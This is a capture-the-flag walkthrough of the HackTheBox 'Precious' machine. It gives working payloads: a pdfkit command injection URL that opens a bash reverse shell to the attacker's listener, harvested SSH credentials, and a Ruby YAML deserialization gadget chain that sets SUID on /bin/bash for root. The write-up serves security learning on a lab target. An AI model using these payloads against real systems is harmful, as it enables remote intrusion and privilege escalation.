🌊

HackTheBox Precious Machine WriteUp

2023/07/21に公開

$IP is Remote IP.

Enumeration

Nmap

kali:~/h/Precious (master) λ sudo nmap --min-rate 1000 -T4 -e tun0 -n -sC -sV -oA tcp -vv $IP -Pn
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
|   256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...

You can find "Did not follow redirect to http://precious.htb/ ". So, you add remote IP and domain to /etc/hosts.

/etc/hosts
...
10.129.85.200	precious.htb

You can access to http://soccer.htb/

This site can generate PDF of various Web Page.

You activate a web server.

kali:~/h/Precious (master) λ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

You type "http://{LocalIP}:8080" to Browser's input area, and you push the submit button. You can get the PDF file.

You should check exif of the file.

kali:~/h/Precious (master) λ exiftool ijo0eoc35fklouwrxbwzbttwtzz2omqm.pdf
ExifTool Version Number         : 12.57
File Name                       : ijo0eoc35fklouwrxbwzbttwtzz2omqm.pdf
Directory                       : .
File Size                       : 20 kB
File Modification Date/Time     : 2023:05:05 00:43:59-04:00
File Access Date/Time           : 2023:05:05 00:43:59-04:00
File Inode Change Date/Time     : 2023:05:05 00:43:59-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

You can find "Generated by pdfkit v0.8.6". pdfkit v0.8.6 has some vulnerabilities attacked Command Injection.
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

If you enter http://{LocalIP}:8080/?name=#{'%20`sleep 10`'}, the website sleeping 10 seconds(Then, start downloading PDF). So, the exploit is available.

After you execute sudo nc -lvnp 443 on Local PC, You enter below payload.

http://{LocalIP}:8080/?name=#{'%20`bash -c "bash -i >& /dev/tcp/{LocalIP}/443 0>&1"`'}

You got reverse shell. But ruby user can't allow userflag file access. So, You have to search another route.

Privilege Escalation - Horizontal

ruby@precious:/var/www$ cd
cd
ruby@precious:~$ ls -laRh
ls -laRh
.:
total 28K
drwxr-xr-x 4 ruby ruby 4.0K May  5 00:09 .
drwxr-xr-x 4 root root 4.0K Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3.5K Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4.0K Oct 26  2022 .bundle
drwxr-xr-x 3 ruby ruby 4.0K May  5 00:09 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

./.bundle:
total 12K
dr-xr-xr-x 2 root ruby 4.0K Oct 26  2022 .
drwxr-xr-x 4 ruby ruby 4.0K May  5 00:09 ..
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config

./.cache:
total 12K
drwxr-xr-x 3 ruby ruby 4.0K May  5 00:09 .
drwxr-xr-x 4 ruby ruby 4.0K May  5 00:09 ..
drwxr-xr-x 2 ruby ruby 4.0K May  5 00:09 fontconfig

./.cache/fontconfig:
total 68K
drwxr-xr-x 2 ruby ruby 4.0K May  5 00:09 .
drwxr-xr-x 3 ruby ruby 4.0K May  5 00:09 ..
-rw-r--r-- 1 ruby ruby  200 May  5 00:09 7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
-rw-r--r-- 1 ruby ruby  144 May  5 00:09 8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
-rw-r--r-- 1 ruby ruby  200 May  5 00:09 CACHEDIR.TAG
-rw-r--r-- 1 ruby ruby  16K May  5 00:09 cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
-rw-r--r-- 1 ruby ruby  29K May  5 00:09 ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
ruby@precious:~$ cd ./bundle
cd ./bundle
bash: cd: ./bundle: No such file or directory
ruby@precious:~$ ls
ls
ruby@precious:~$ cd ./.bundle
cd ./.bundle
ruby@precious:~/.bundle$ ls
ls
config
ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

You could get user credentials.

You try again to connect by ssh.

┌─[sg-dedivip-1]─[10.10.14.15]─[htb-misclone@htb-qm2btxgunu]─[~]
└──╼ [★]$ sudo ssh henry@10.129.72.15
The authenticity of host '10.129.72.15 (10.129.72.15)' can't be established.
ECDSA key fingerprint is SHA256:kRywGtzD4AwSK3m1ALIMjgI7W2SqImzsG5qPcTSavFU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.129.72.15' (ECDSA) to the list of known hosts.
henry@10.129.72.15's password: Q3c1AqGHtoI0aXAYFH
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ ls
user.txt
henry@precious:~$ cat user.txt
d2815d2b6f41db533546667922f51b43

Successed. You can get user flag.

Privilege Escalation - Vertical

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

According to /opt/update_dependencies.rb file, the code call yaml.
When you search "ruby yaml RCE", You find below website.
https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/

You create NEW dependencies.yml file in /home/henry, and inject payloads.

/home/henry/dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

You're almost done.

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cd root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt

You pwned the Machine.

Discussion